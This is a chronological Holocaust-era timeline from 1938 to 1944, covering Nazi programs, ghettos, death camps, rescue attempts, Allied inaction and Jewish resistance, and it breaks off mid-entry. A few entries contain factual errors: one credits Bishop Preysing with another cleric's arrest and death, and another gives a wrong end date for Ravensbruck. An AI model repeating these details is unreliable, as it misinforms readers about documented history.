5142 1938 POLAND After several attempts, the Seym (parliament) outlawed ritual slaughter of meat. The bill was never enforced since the Seym dissolved in September during the Czech crisis. 5140 1939 "T4" ADVANCED EUTHANASIA PROGRAM Was set up under Hitler's orders by Hans Heinrich Lammers and Dr. Phillip Bouhler. It was named for the address of Dr. Bouhler's office in the Reich Chancellery, at 4 Tiergartenstrasse. He was assisted by Hitler's personal physician Dr. Karl Brandt and Dr. Victor Brack who became Bouhler's deputy Although the Nazis had begun Euthanasia programs among the general German population earlier, the scope of T4 extended its practice of killing the "racially valueless" to include the incurably sick and insane. Experiments were made with various gases and delivery installations (gas chambers). It was Bouhler's idea to disguise the gas chambers as showers as not to cause panic. The expertise gained , much of the personnel and equipment were later transferred to other camps for the "Final Solution". 5172 1939 BOHEMIA AND MORAVIA The status of the Jews was classified by Konstantin von Neurath, the Reich Protector, in agreement with German legislation. This was always the first step with any German takeover. After Jews were "appropriately" defined it was only a small step to confiscation of property and deportation. Out of the 90,000 Jews in the protectorate only 10,000 would survive. 5171 1939 CARDINAL THEODORE INNITZER (Rome, Italy) Suggested to Pius XII that all religious pupils be greeted with "Heil Hitler, praised be Jesus Christ." 5173 1939 DEPARTMENT IV OF THE RSHA (Germany) Was established by Reinhard Heydrich as the center for handling the evacuation of Jews from the Eastern territories. Himmler and Heydrich named Adolf Eichmann to head this department. 5528 1939 DR. EMMANUEL RINGELBLUM (1900-1944) (Warsaw, Poland) Chief historian of the Warsaw Ghetto, laid the foundations of the clandestine operation code-named Oneg Shabbat (Hebrew for "Sabbath Delight") - the Jewish underground archives in the Warsaw Ghetto. Several dozen writers, teachers, rabbis, and historians took part in an effort to document ghetto life that was led by Ringelbaum. The archives became one of the key resources for information on Polish Jewry under Nazi occupation and were kept up on the Aryan side even after the ghetto's destruction in April 1943. His family's hiding place was discovered by the Gestapo and they were killed on March 7, 1944. 5521 1939 FELIX FRANKFURTER Was nominated by Roosevelt to the Supreme Court. Though a liberal once on the court, he took a more conservative view. Frankfurter served until 1962 when he suffered a stroke. 5160 1939 GERMANY Violated the Munich Agreement and marched into Prague. 5165 1939 HITLER (Germany) Announced to the Reichstag "If international Jewry...should involve the European people in a new war...the result will (be) the destruction of the Jewish race in Europe." 5161 1939 RAVENSBRUCK (Germany) A women's concentration camp was opened near Mecklenburg. The camp originally took in political prisoners and Gypsies and eventually resistance fighters and Jews. Many of the prisoners were used for "medical" experiments. The camp was active until April 1944 when the Red Cross negotiated the release of the survivors. Of the 132,000 women who were sent to Ravensbruck 92,000 died. 5169 1940 ASSISTANT SECRETARY OF STATE BRECKINRIDGE LONG (USA) Six months after he entered his position as head of the Visa Division, he sent a memo to State Department officials with practical ideas for hampering the granting of U.S. visas. Long was a close friend of Roosevelt, and under orders to block any special efforts to help Jews, he succeeded in cutting those granted visas by half. Long (and many others) believed that any special help for the Jews would detract from the war effort. His policy was to "delay and effectively stop immigration." Long was helped by reports from Laurence Steinhardt, U.S. attorney and diplomat, who considered Jewish refugees undesirable. Ironically this same Steinhardt, later ambassador to Turkey, was effective in trying to save the remnant of Hungarian Jews through the War Refugee Board. 6145 1940 BEN SHEMEN YOUTH VILLAGE (Eretz Israel) Was raided by British police. Weapons were found that were stored there by the Haganah. The principal, Dr. Seigfried Lehman (former headmaster of an orphanage in Kovno), and others were arrested and sentenced to terms from 3-7 years. 6133 1940 BRECKINRIDGE LONG, (USA) Assistant Secretary of State, and a proponent of curbing Jewish immigration, sent a memo to his consulates that stated in part: "The list of Rabbis has been closed and now it remains for the President's Committee to be curbed." 5772 1940 FRENCH ARMISTICE (Compiégne, France) Was signed. France was divided into two sections; an occupied zone under direct German rule and an unoccupied "free" zone in Vichy. It was estimated that of the 350,000 French Jews, less than half were native born. Approximately 90,000 were murdered. 6144 1940 H. F. DOWNIE (England) The British Head of the Middle East Department of the Colonial Office stated that "the Jews are enemies just as the Germans are, but in a more insidious way", and that "our two sets of enemies [Nazis and Jews] are linked together by secret and evil bonds." A year later (March 15, 1941), he wrote " one regret[s] that the Jews are not on the other side in this war." 6138 1940 MADAGASCAR PLAN (Berlin, Germany) Adolph Eichmann prepared a detailed plan for the transfer of four million Jews to Madagascar to be paid for by Jewish confiscated property. The idea was to rid Europe of its Jews and at the same time use them as "hostages" to insure the "correct behavior" of world Jewry. The plan itself dates back to the German anti-Semitic nationalist Paul de Lagarde in 1885. The Germans needed French acquiescence which was predicated on a peace treaty which in turn depended on the end of hostilities with England. On February 1, 1942 the plan was discarded and replaced with the Endloesung, or the "Final Solution". 6152 1940 SINKING OF THE PATRIA (Haifa, Eretz Israel) In Haifa harbor. The French refugee ship, the Patria carried 1,771 "illegal" immigrants. The British decided to add other "illegals" and deport them all to Mauritius, a British colony east of Madagascar. To prevent this move, members of the Haganah decided to disable the ship. Unfortunately, the explosive charge was too large or the hull was too weak, and the ship sunk, drowning 257 people. The survivors were allowed to remain in Eretz Israel and were interned for a while at the Athlit detention camp near Haifa. 5631 1940 THE NEW YORK TIMES In an editorial justified its aversion to reporting stories about atrocities in Poland because: "All we have heard until now have been unofficial accounts of such horrors that we chose to disbelieve them as exaggerated." 6132 1940 VARIAN FRY (1907-1967) (USA) Entered France to run the Emergency Rescue Committee. Fry, an American journalist, found that both the French and the American consulates sabotaged his efforts at every turn. Despite this and daily danger he succeeded during his thirteen months of work to help rescue almost 2000 artists and writers including Marc Chagall, Max Ernst, Franz Werfel, Lion Feuchtwanger, and Heinrich Mann. Fry was placed under an FBI investigation and was never permitted to work for the U.S. government. The only recognition he received in his lifetime was the Croix de Chevalier from France in 1967. 5770 1941 PALMACH (Eretz Israel) The Palmach ("pelugot mahaz" - "assault companies") commando units were established by Yitzhak Sadeh as a defense from any Axis attack on Eretz Israel. Later they assisted in planning and executing the dropping of parachutists into occupied Europe. At its peak (November 1947) it had approximately 5000 members who were mainly responsible for capturing Safed and Tiberias as well as opening the road to Jerusalem. It was disbanded under Ben Gurion's order on November 7, 1948. 5711 1941 ADOLPH EICHMANN (Germany) Was appointed head of the Jewish Affairs section of the Gestapo, also known as Section IVB4. Within a few months, he was in charge of implementation of the "Final Solution" in all of its aspects. In 1944, Eichmann visited Auschwitz and proposed a method for speeding up the killings by twenty percent. Later that same year, Eichmann went personally to Hungary to oversee the deportation efforts. 5788 1941 BISHOP KONRAD VON PREYSING (Germany) Was arrested by the Gestapo when overheard praying for "non-Aryan Christians and Jews". He was imprisoned for two years and died when he was about to be sent to Dachau. 6202 1941 BRITAIN ATTACKED SYRIA AND LEBANON And evicted the pro-Vichy regime . Members of the Palmach took part in the attack. They included Moshe Dayan, Yigal Alon and Yitzchak Rabin. 5802 1941 COMMISSARIAT AUX QUESTIONS JUIVES (France) The Commissariat of Jewish Affairs was established. Headed by Xavier Vallat, it became the main authority behind anti-Jewish measures. Surprisingly, when the Germans decided to force the Jews to wear the yellow star in the Vichy zone in June of 1942, he refused to agree to this measure believing it was against French interest and was replaced. 5787 1941 CROATIA Declared its independence from Yugoslavia. Ante Pavelic, head of the Ustache party, initiated anti-Jewish measures within a few weeks, and held wealthy Jews for ransom. His troops, together with a Bosnian Muslim division, took part in the destruction of synagogues and cemeteries. The Muslim division was personally blessed by Haj Amin al-Husseini, the former mufti of Jerusalem. Within a month he established his country's first concentration camp at Danica. 5789 1941 DAVID RAZIEL (1910-1941) (Iraq) In cooperation with British Army intelligence, David Raziel, the commander of the I.Z.L. (Irgun Zvai Leumi) lead a group to sabotage the oil depots on the outskirts of Baghdad. Raziel had been captured by the British in 1939 but was released at the outbreak of the war. The next day, while on an intelligence gathering mission, Raziel's car was bombed and both he and the liaison British officer were killed. Yaakov Meridor, who accompanied him on the mission, was appointed commander in his stead. 5709 1941 HAJ AMIN al-HUSSEINI, MUFTI OF JERUSALEM (Berlin) Met with Hitler and called him the "Protector of Islam." Hitler promised the Mufti that, after a certain objective was reached, "Germany's only remaining objective in the region would be limited to the annihilation of the Jews living under British protection in Arab lands." 5819 1941 HILLEL KOOK AND SAMUEL MERLIN (New York City, USA) Met with Ben Hecht the novelist and playwright, and convinced him to join in their efforts in Jewish nationalist affairs. Kook, who went under the name of Peter Bergson (so as not to involve his rabbinical relatives in Israel) was also active in the Irgun Zvai Leumi. His group, the American Friends for a Jewish Palestine was better known as the "Bergson Group", encountered vehement opposition to almost everything they did from both the Jewish establishment (Stephen Wise) and the Zionist movement. Wise, a staunch follower of the President would not tolerate anyone who differed with Roosevelt's actions or lack thereof. The Zionist movement had a tradition of opposing the Revisionist movement and the Irgun. In addition, it was vociferously against any organization which didn't work under its aegis. The organization later evolved into the Committee for a Jewish Army and gained a lot of grass-root support from both Jewish and non-Jewish sources. 5794 1941 HINRICH LOHSE, (Riga, Latvia)
  494. Reichskommissar Ostland (Reich Commissar of the Occupied Eastern Territories) Which included the Baltic States (Lithuania, Estonia, and Latvia) and part of White Russia, released secret "provisional regulations" regarding the "Final Solution of the Jewish Question." After the war, Lohse was sentenced to 10 years in prison but released in 1951 due to his "ill health." 5815 1941 JASSY MASSACRE (Romania) Romanian and German troops murdered thousands of Jews and deported the rest with the active participation of local residents. It is estimated that there were 12,000 victims. Jassy had been considered the capital of Romanian anti-Semitism during the late 19th century when Alexander Cuza, the Romanian nationalist and anti-Semite, taught at the university. After the Antonescu government seized power in November 1940, Jassy became the "capital of the Iron Guard." 5809 1941 ONA SIMAITE (1899-1970) (Lithuania) A librarian at Vilna University, entered the ghetto, ostensibly to recover library books. During the next three years she managed to smuggle in food and other necessities, and take out important documents. She was arrested in 1944 and was sent to Dachau after being tortured. She survived the war. 6203 1941 SLOVAKIA Over 270 anti-Jewish regulations were passed, including wearing the yellow star, forced labor and evictions. Deportation began six months later. Of more than 90,000 Jews in Slovakia before the war, only 15,000 survived. 6192 1941 THERESIENSTADT, (Czechoslovakia) A ghetto was set up in the old barracks and then in the walled town itself. All the 3,700 local inhabitants were moved out. Although Theresienstadt was set up as a "model settlement," its death rate reached fifty percent in 1942 through starvation and epidemics. During an investigation by the Red Cross in June 1943 the Germans changed the external appearance of the town and deported many so that there would be less overcrowding. All the interviews were carefully orchestrated and immediately after the visit most of those interviewed were deported. In all, 140,937 Jews were sent to Theresienstadt, of whom 33,529 died in the ghetto and 88,196 were deported to death camps. There were 17,247 persons left in the ghetto when it was liberated. 5630 1941 TWENTY THREE PALMACH FIGHTERS (Eretz Israel) Set sail on the British boat HMS Sea Lion on their way to a mission in pro-Nazi Lebanon. They were never heard from again. 5798 1942 THE GHETTO SPEAKS (USA) A publication of the Jewish Labor Bund in the United States disclosed information on the murder of 700,000 Jews at Chelmno. Neither the American press - nor for that matter the Jewish press - were prepared to believe the reports. 5927 1942 ABRAHAM ("YAIR") STERN (Tel Aviv, Eretz Israel) The leader of what later became known as Lehi (the Stern Group) was shot by the British in his apartment in Tel Aviv. 5834 1942 ADAM CZERNIAKOW (1880-1942) (Warsaw, Poland) The leader of the Jewish council of Warsaw, the Judenrat, committed suicide. Czerniakow had held the position for 3 years and kept a diary of over 1,000 pages that chronicled the formation of the ghetto up to the beginning of the forced transports. The Germans had ordered him to provide them with a list of names for deportation. His response was a list of his own name written hundreds of times. The day before his suicide, the Nazi officer in charge of the deportation procedure, Sturmbannfuehrer (major) Hoefle, threatened to shoot his wife if he didn't cooperate. In his suicide note he writes "I am powerless, my heart trembles in sorrow and compassion. I can no longer bear all this." 5737 1942 ANTI FACIST BLOC (Warsaw, Poland) Was formed and composed of HaShomer HaTzair, Dror, and Poale Zion movements. The organization had no weapons and was able to do almost nothing when the mass deportations known as the "great liquidation" began the next day. One of its commanders, Yitzchak ("Antek") Zuckerman, together with his wife Zivia Lubetkin, played important roles in the revolt and later in the forests. Both survived the war and were among the founders of Lochmaei Hagettaot. 5918 1942 BELZEC (Poland) The second death camp (and former labor camp) became operational. Over 600,000 Jews, mostly Polish, were murdered in the camp before it was closed by the Germans. Odilo Globocnik was its first commandant. Globocnik was appointed by Himmler to be in charge of the European sector of the "Final Solution" and was involved in organizing Belzec, Sobibor, Majdanek, and Treblinka. He took poison in May 1945. Christian Wirth, another commandant, was killed by Tito's partisans. When the camp was abandoned, local villages were attracted to the site and dug for valuables. In order to obliterate the site, the Germans plowed it over and turned it into a farm run by one of the Ukrainian guards. 5859 1942 COMMITTEE FOR A JEWISH ARMY (New York, USA) Led by Hillel Kook (alias Peter Bergson) took out an ad in the New York Times: "For Sale to Humanity, 70,000 Jews, Guaranteed Human Beings at $50 a Piece." Written by Ben Hecht, a famous Jewish playwright, it brought to the forefront the plight of Jews in Romania and demanded that the United Nations play a role in the rescue of European Jewry. The following week, Senator Edwin Johnson of Colorado echoed the demand. 5856 1942 DR. GERHART REIGNER (Switzerland - USA) (Poland) Representative of the World Jewish Congress in Switzerland, brought the first irrefutable evidence of the German plans for their "Final Solution" to the American Consulate in Geneva. He asked that the Vice Counsel Howard Elting send it to the State Department and to Rabbi Stephan Wise. Elting sent it on to the American Legation in Bern along with a note that confirming that Reigner was "serious and balanced". They in turn sent a telegram to the State Department on September 11 with a note advising that it was probably "a war rumor." Although it was decided to send a copy to Wise ,Elbridge Dubrow, a State Department official , recommended that Bern decline to send any more such messages which could reach a third party. The State Department, especially Gordon Hull and Sumner Wells, refused to send it on to Roosevelt and told Wise, after he approached them, not to publicize it until it could be "confirmed". U.S. officials withheld the news for three months. 5930 1942 ESTONIA Franz Stahlecker, commander of Einsatzgruppe A , in a report to Himmler, affirmed that there were no more Jews in Estonia and only a few thousand left in Latvia. By the end of the war, 90% of all Jews in the Baltic countries had been eliminated. Stahlecker was killed by Estonian partisans two months later. 5830 1942 FIRST HAND REPORT OF THE "FINAL SOLUTION" (Berlin) Kurt Gerstein, a member of the SS, reported in detail the existence of extermination camps to Swedish Consul Baron Gören von Otter. Baron von Otter conveyed it to the head of the Swedish legation in Berlin, which refused to pass it on to the allies until August 1945. Gerstein tried again to speak to Papal Nuncio Cesare Orsenigo, who threw him out. Gerstein had joined the Nazi movement early on but left it in 1935 disillusioned. He joined the SS after his sister-in-law had been killed by their Euthanasia program with the intent to "see its workings.. and proclaim them to the world." Gerstein surrendered to the Americans and presented them with accurate information regarding Zyklon B gas and his biography. He was being held in a French prison with other SS prisoners when he allegedly hanged himself. 6040 1942 GENERAL POLITICAL MEETING (Warsaw, Poland ) Was held with representatives from the Joint, General Zionists, left-wing Zionists, Bund, Agudat Israel, communists and Jewish socialists, as well as the historians Emanuel Ringeblum, Dr. Shipper and others. Everyone except Rabbi Alexander Zusha Friedman and Dr. Isaac Shipper agreed that although there would be little help from the outside world and it would be like "a fly fighting an elephant"- resistance was the only answer. Dr. Shipper's position was that any defense would bring about the total destruction of the ghetto and Rabbi Friedman called on them to believe that God would help them through the Allies and the Russian army. 5923 1942 JACOB ROSENHEIM (USA) President of Agudat Israel received a telegram from Israel Sternbuch, his representative in Switzerland, confirming the mass murder of 100,000 Polish Jews. Rosenheim sent the letter to President Roosevelt, James G. McDonald, the president's advisor on political refugees, and Stepen Wise. McDonald also forwarded it to Eleanor Roosevelt. There was no reply from either Roosevelt. 6046 1942 JEWISH FIGHTING ORGANIZATION (ZOB) (Warsaw, Poland) (Zydowska Organizacja Bojowa) was formed at a meeting of HaShomer HaTzair, Dror, and Poalae Zion, Akiva, at HeHalutz headquarters. It was based on the Anti-Fascist Block which was supported by the Bund and led to their joining. Although the Revisionists (ZZW) did not join, they were in contact to coordinate efforts. 5924 1942 JOSEF KAPLAN (Poland) One of the founders of the ZOB (Jewish Fighting Organization) was arrested for forging documents. Kaplan was a leader in the HaShomer HaTzair movement in Warsaw. He was requested by his movement not to emigrate and instead return to Warsaw. He was killed on September 11, 1942. 6045 1942 MORDECAI GEBIRTIG (1877-1942) (Cracow, Poland) The famous Yiddish and songwriter was shot and his wife and daughters were sent to a death camp. Gebertig's Undzer Shtetl Brent ("Our Town is Burning") was written in 1938 after a pogrom and won instant fame. Other famous compositions were Sug nit Keinmol (Never Say Never) and Mayn Cholem (My Dream). 5894 1942 MORDECAI TENENBAUM-TAMAROFF (Poland) Was sent to Bialystok by the Jewish Fighting Organization in Warsaw to help organize and unite the movement which was fractured by political and ideological splits - especially between the communists. Tenenbaum, a leader in the HaShomer HaTzair movement, succeeded in uniting most of the movements and convinced them that they should defend the ghetto rather than join the partisans. There had been major differences (as in most ghettos) between the groups as to whether it was better to fight within the ghetto or to join the partisans, Tennenbaum favored the former, only leaving for the forests when there was no choice. 6066 1942 MORDECHAI TENENBAUM - TAMAROFF (Poland) A member of the Dror youth movement and the Jewish Fighting Organization was asked to organize the underground in the Bialystok ghetto. He also was active in organizing the Warsaw ghetto uprising and served as a contact with Anton Schmid, the Austrian soldier who helped Jews. Tenenbaum probably committed suicide after the failed uprising. 6048 1942 OPERATION (AKTION) REINHARD (Poland) Was ordered by Himmler and carried out by Odilo Globocnik. It included mass deportations of Jews within what was known as the General Government in Poland, from small towns to 7 major ghettos. All this was to make it easier for their eventual deportation in the "Final Solution." 5901 1942 S. BERTRAND JACOBSON (USA) The chief representative in Eastern Europe for the Joint, held a press conference. He estimated that the Nazis had already killed 250,000 Jews in the Ukraine and that the Jews of Slovakia would probably begin to be deported very soon. Their deportations actually began within a few weeks. 5862 1942 SERGEANT ANTON SCHMID (Lithuania) Serving in the Wermacht was executed by the Nazis. Schmid was accused of disobeying orders after saving over 250 Jews near Vilna. In 1964 he was awarded the title "Righteous Among the Nations" by the Israeli government. In May 2000, the German government renamed a military base, Feldwebel Anton Schmid Kaserne, in his honor. 6214 1942 SINKING OF THE STRÜMA (Turkey) One of the "illegal" immigrant ships on which 768 of the 769 passengers perished. The Stürma was a former coal barge-turned-rescue ship, and although not seaworthy, loaded 769 passengers at Constanza, Romania on December 12, 1941. The ship reached Istanbul, Turkey, but the passengers were not permitted to land until the British would issue assurances that they would be allowed to proceed to Palestine. The British refused to allow them to land under the White Paper agreement of 1939. After two months of pressure, the British relented and agreed to allow children to leave the ship. Although they promised to notify the Turks, they delayed for 10 days. Giving up, the Turks had the boat towed out to the Black Sea where it was sunk, presumably by a Soviet submarine. 5691 1942 SLOVAKIAN RABBIS Reported to the Slovakian government that "the deportations mean physical extermination." 5860 1942 SWITZERLAND For the first time, Swiss police hand over to the Germans Jewish refugees who had entered Switzerland "illegally." 5748 1942 TEMPORARY COMMITTEE (USA) Later known as the Joint Emergency Committee on European Jewish Affairs, was established by Stephen Wise. It was made up of the American Jewish Committee, American Jewish Congress, Jewish Labor Committee, B'nai B'rith, World Jewish Congress, Synagogue Council of America and Agudat Israel of America. Though often at odds with each other, they managed to contact important non-Jews, asking for their help, and to pressure the press to cover the genocide. They also sponsored a national day of mourning and managed to get the only meeting about the Holocaust between Roosevelt and Jewish leaders during the war. 6064 1942 THE BILTMORE PROGRAM (New York, USA) Was adopted in an emergency meeting (at the Biltmore Hotel in New York) of the Conference of American Zionists. The program, proposed by Ben Gurion and Abba Hillel Silver, totally rejected the British White Paper and called for the establishment of a Jewish state. There was opposition to the proposal by the "non- Zionists" and those who believed in a bi-national state (HaShomer HaTzair). 5708 1942 UNITED NATIONS (Washington, DC, USA) Was founded as an assembly of the nations fighting Germany, Italy and Japan - the Axis powers. Twenty-six nations were among the original signatories. In the fall of that year, the Revisionist (New Zionist) Organization of America called on the United Nations to apply the "Four Freedoms" as delineated by President Roosevelt a year earlier to the Jewish people as well and to allow them to be represented. Roosevelt's four freedoms included speech and expression, religion, want (economic),and fear (arms reduction etc). 5826 1942 UNITED PARTISANS ORGANIZATION (UPO) (Vilna, Lithuania) Also known as the FPO (Fareynikte Partisaner Organisatsye) was founded in Vilna. It was the first organization which united the left-wing Zionists, the revisionists, the Bund and the communists. Its leaders included Isaac Wittenberg (communist), Abba Kovner (HaShomer HaTzair) and Joseph Glazman (revisionist). They were later joined by Abraham Chovnik (Bund). Its goals included armed revolt, sabotage, and contact with partisans in the forests. Like other groups, the main debate was whether to fight in the ghetto or join the partisans. Wittenberg convinced the others to accept the former. An underground press was founded which played a vital role in forging identification cards as well as bringing information to the populace. 5829 1942 VATICAN (Italy) Sent a letter to a Slovak official protesting the deportation of Slovakian Jews. The reply by Foreign Minister Vojtech Tuka assured the Vatican that the Jews were being settled in labor camps and that their conditions were "humane." Eichmann and his lieutenant, Dieter Wisliceny, organized "letters" from those deported, to be sent upon their arrival to Auschwitz. They also organized an "inspection" by Fritz Fiala, a pro-Nazi Slovak editor whose report and pictures (censored directly by Himmler) were published in the Slovak and Romanian press. 5863 1942 VICHY FRANCE Pierre Laval, the new premier of Vichy France (April 1942), agreed to a German request to expel 100,000 Jews from France. Laval conditioned it on limiting it to "foreign born Jews" further stating that neither was he concerned with their children. Within a month, 50,000 foreign born Jews were handed over to the Germans for deportation. Laval was executed for treason October 15, 1945 in France. 5898 1942 WANNSEE CONFERENCE (Berlin,Germany) This conference was meant to coordinate the activities of the ministries involved with the Nazi Party and SS agencies in carrying out the "Final Solution". The conference was convened by Heydrich and assisted by Eichmann. Heads of the Gestapo and other government offices worked on the bureaucratic details of the methods and logistics needed in carrying out the "Final Solution". Included in the discussions were plans for the mass sterilization of Jews who had mixed marriages, as well as the most efficient methods of mass killings. Their target was the Jewish population in 34 countries which they put at 11 million. 5657 1943 "FABRIK-AKTION" FACTORY-ACTION (Berlin, Germany) The last 10,000 Jews still working in "vital war production" were taken directly from their factories to be deported. Seven thousand of them were sent to Auschwitz, others were sent to Theresienstadt. More than 100 Jews labeled as Mischlinge (half-breeds) or living in a Mischehe (racially mixed marriage) were held separately. After a mass protest (the only one of its kind) by thousands of relatives and friends, the Nazi released them. During the war, over 50,000 Berliner Jews were deported to the East. A few thousand, most of them with non-Jewish spouses, managed to survive with many of them hiding the entire war in the city. 6244 1943 ALOIS BRUNNER (France) Described by Eichmann as "one of my best men", took over Drancy, the main transit camp in France. During his 14 months in France, he sent an estimated 25,000 men, women and children to their deaths. Brunner was an assistant to Eichmann and was responsible for the deaths of over 128,000 people including 200 Americans. Brunner also masterminded the deportation of Thessaloniki's 50,000 Jews to death camps. Brunner was one of the most wanted war criminals and succeeded in finding refuge in Syria, which steadily refused to give out any information on him. 5836 1943 AMERICAN JEWISH CONFERENCE (USA) Led by B'nai B'rith, passed a resolution favoring the establishment of a Jewish State, causing the American Jewish Committee (which was at the time anti-Zionist) to disaffiliate itself. The Conference, which existed until 1949, issued many pro-Zionist statements to government and international organizations. Despite this, little was actually accomplished during the war years. 5852 1943 ATHENS (Greece) Rabbi Eliyahu Barzilai was ordered by Eichmann's deputy, Wisliceny, to provide him with a list of all Athenian Jews. Instead, Barzilai warned them all to flee and did so himself. 5868 1943 BIALYSTOK AKTION (Poland) Although unprepared, still disunited, and with few weapons, the United Anti-Facist Bloc decided on limited revolt. Led by Mordecai Tennenbaum-Tamaroff, Daniel Moszkowicz (communist), and Edek Boraks (Bund), most of the fighters fought in small groups. Individuals fought with axes, knives, and even acid to prevent from being taken to Treblinka. After the Aktion, many informers were "taken care of." The small revolt proved the importance of a united front and forced the major second organization consisting of HaNoar HaTzioni, Dror, and other organizations to join in one united front. 6112 1943 MASS DEMONSTRATION (New York City, USA) Was organized by Stephen Wise and the World Jewish Congress and co-sponsored by the AFL-CIO. Twenty thousand people inside Madison Square Garden and tens of thousands outside heard messages from Wise, Mayor La Guardia and Chaim Weizmann. Although the rally received good press, Wise was accused of organizing the rally to upstage the one already planned by the Committee for a Jewish Army ("Bergson Group") for March 9th at the same spot. 6154 1943 MENACHEM BEGIN (Eretz Israel) Became commander of the Irgun Zvai Leumi. Begin's first decisions were that the Irgun should maintain an independent policy separate from the Revisionist movement. and begin to plan a revolt against British rule. 5883 1943 MORDECHAI ANIELEWICZ (Poland) Commander of the Warsaw Ghetto Uprising was killed in the main bunker at Mila 18. The Germans blocked up the exits and began to propel gas into the bunker which contained over 100 fighters. Many of them killed themselves. Anielewicz had united the various factions, published a newsletter Neged Hazerem (Against the Stream) and started an urban kibbutz in Warsaw. Kibbutz Yad Mordechai is named after him. 6167 1943 RABBI MICHAEL DOV WEISSMANDEL (Slovakia) An Orthodox Rabbi, together with Gisi Fleischmann, leader of the Women's International Zionist Organization and head of the Aliya section of the officially established Jewish Centre in Slovakia, helped organize (through bribes to Slovak officials) a slow down of the number of people being deported and to find false "Aryan" papers for many of them. After the Slovak revolt, Rabbi Weismandel succeeded in jumping from a train while Gisi Fleischman as a result of her work was shot as soon as she arrived in Auschwitz at the request of Eichmann's deputy Rolf Gunther. 6166 1943 ROMANIA Offered to "sell" 72,000 Jews and permit them to be transferred to Eretz Israel on ships flying a Vatican flag for a price of $130 a person. Although Secretary of the Treasury Henry Morgenthau brought this offer to the attention of the President Roosevelt , it was shuffled back to Sumner Wells at the State Department who decided without checking on the facts that the proposal "was without foundation." 6114 1943 SALONIKA (Greece) The first transport left to Auschwitz under the direction of Eichmann's deputy, Dieter Wisliceny. By August 7, the last of the 19 transports left Salonika. Of the 46,091 Jews deported, only about 2000 survived. Wisliceny, who also served in Greece and Hungary, later surrendered to the Allies, presenting them with invaluable evidence. He was hanged in Bratislava in 1948. 6157 1943 THE EMERGENCY CONFERENCE TO SAVE THE JEWISH PEOPLE (USA) Was attended by 1500 people including senators, labor leaders and media personalities (including newspaper tycoon William Randolf Hearst). Herbert Hoover addressed the conference by radio. Its goals were to discuss and come up with ideas on such varied topics as transportation, military affairs, diplomacy, and church involvement. Peter Bergson was behind organizing the conference. Unfortunately, here too, (see April 1941), due to Bergson's involvement, the World Jewish Congress tried to convince political leaders to stay away from the conference. One positive result of the conference was the gradual involvement of Eleanor Roosevelt in bringing the issue to the public (and political) forefront. 5839 1943 THE SEWERS OF WARSAW (Poland) Were used by the remaining fighters to flee to the forests, especially from the bunker at Mila 18. Among them was Tosia (Tova) Altman, who was one of the leaders of the HaShomer HaTzair youth movement which played a vital role in the revolt. Tosia, who had worked as a courier, succeeded in getting to the Aryan side when on May 24, 1943, she was badly burned in an accidental fire. The Gestapo captured her and she died in custody without any medical help. Another dominant figure in the ZOB, Zivia (Celina) Lubtkin, succeeded in getting to the Aryan side and fought in the Polish uprising along with Yitzchak ("Antek") Zuckerman in August 1944. Approximately 75 fighters made it out through the sewers. 6168 1943 WARSAW GHETTO UPRISING (Poland) On Passover eve, the Germans executed the final phase of the liquidation of the ghetto. The Germans planned for it to take three days. The Jewish armed underground consisted of two main groups: the ZOB, headed by Mordechai Anielewicz, which had no more than 800 fighters and the ZZW, headed by David Appelbaum and Pawel Frenkel, which had no more than 400 fighters. Most of the ZZW was lightly armed and, aside from Revisionists, it also contained some Bund and Agudat Israel (Orthodox) members. A few independent groups also existed which had a few hundred members. Despite pleas to the Polish underground to join, there was no help forthcoming from them. General Juergen Stroop attacked with an initial force of around 5,000 heavily armed troops, yet it took him weeks, even with tanks, artillery and air support, to crush the uprising. 6162 1943 YITZHAK (ANTEK) ZUCKERMAN (Antek, Poland) A former leader of HeHalutz HaTzair, he became the leader of the ZOB after Mordechai Anielewicz died. He appealed to the Polish Home Guard to allow Jews to join them or at least provide them with arms. His requests were denied. During the uprising, he was assigned to the Polish sector in order to maintain contacts, which he made good use of. He headed the Jewish Fighters Unit of the Polish uprising of August, 1944. After the war, he and his wife Zivia Lubetkin were among the founders of Kibbutz Lohamei Hagetaot. 5837 1944 THE WASHINGTON POST (USA) A Jewish owned newspaper ran anti- Bergson articles from its front page. It was later forced to retract them. This was the only time that it gave any front page coverage to a "Holocaust" issue. 5966 1944 HENRY MORGENTHAU JR. (1891-1967) Secretary of the Treasury, presented a personal report to President Roosevelt accusing the State Department of actively preventing the rescue of European Jewry. The State Department's antagonism toward any help for European Jewry stemmed from both incompetence and a fear of "what to do with the Jews if they do get out". The Department was totally against a more liberal attitude toward its own anti-immigration policy and fully supported the British position of not allowing more Jews into Eretz Israel. 5905 1944 IRGUN ZVAI LEUMI (Eretz Israel) As news of the destruction of European Jewry filtered in, Menachem Begin, frustrated by the British refusal to let in refugees, declared an armed revolt. The majority of the country followed the lead of the Jewish Agency and the Haganah's call to wait until the end of the war before acting against Britain. 5884 1944 IRGUN ZVAI LEUMI (Eretz-Israel) Began its revolt against British rule. The two limitations it set for itself was not to attack military targets until the end of the war and not to attack individuals. On February 12, they attacked the British immigration offices in Jerusalem, Tel Aviv, and Haifa. 5908 1944 BLUT FUER WARE ("BLOOD FOR GOODS") (Hungary - Switzerland) Hungarian Jewish leaders Joel Brand and Rudolf Kastner working together with the Jewish Agency and the War Refugee board concluded a deal with Adolph Eichmann. It became known as Blut fuer Ware ("Blood for Goods"). This date marks the first of three transports with 1,658 people to Switzerland. Included in this transport were 80 prominent Jews including the Satmar Rebbe (Rabbi Joel Teitelbaum), the Debreziner Rav, Rabbi Jonathan Steif, and Adolph Deutsch, head of the Budapest Agudah. This transport was held up in Bergen-Belsen for six months and only reached Switzerland in December. There were two other transports; one on August 18, with 318 people and the last on December 6, with 1,368 people. A total of 3,344 Jews were sent at a price of 1,000 dollars per head. The deal was the subject of much controversy and after the war, Kastner was accused by Malkiel Grünwald of collaboration with the Nazis and of testifying for an SS officer Kurt Becher who had negotiated with him on behalf of Eichmann. Much of the resentment had to do with the selection made for the transports. He was accused of helping only those who were either wealthy, had a personal connection to the committee, or were politically acceptable. Although the Supreme Court in Israel (on an appeal) cleared his name on January 17, 1958, it came too late for Kastner who had been shot and killed in March, 1957 in Tel Aviv by Ze'ev Eckstein, a Hungarian survivor. 5944 1944 BRICHAH (Romania) Rabbi Meir Kahan and Dr. Shmuel Amarant were arrested by the NKVD, together with a number of Zionist youth trying to get through the Romanian border on their way to Eretz Israel. Abba Kovner was also on the wanted list and new routes had to be devised. 5980 1944 BRICHAH ORGANIZATION (Rovno, Ukraine) A month or so after the liberation of Rovno, Eliezer and Abraham Lidovsky, together with Pasha (Isaac) Rajchmann, decided that there was no future for the Jews in Poland. They officially formed an artisan guild 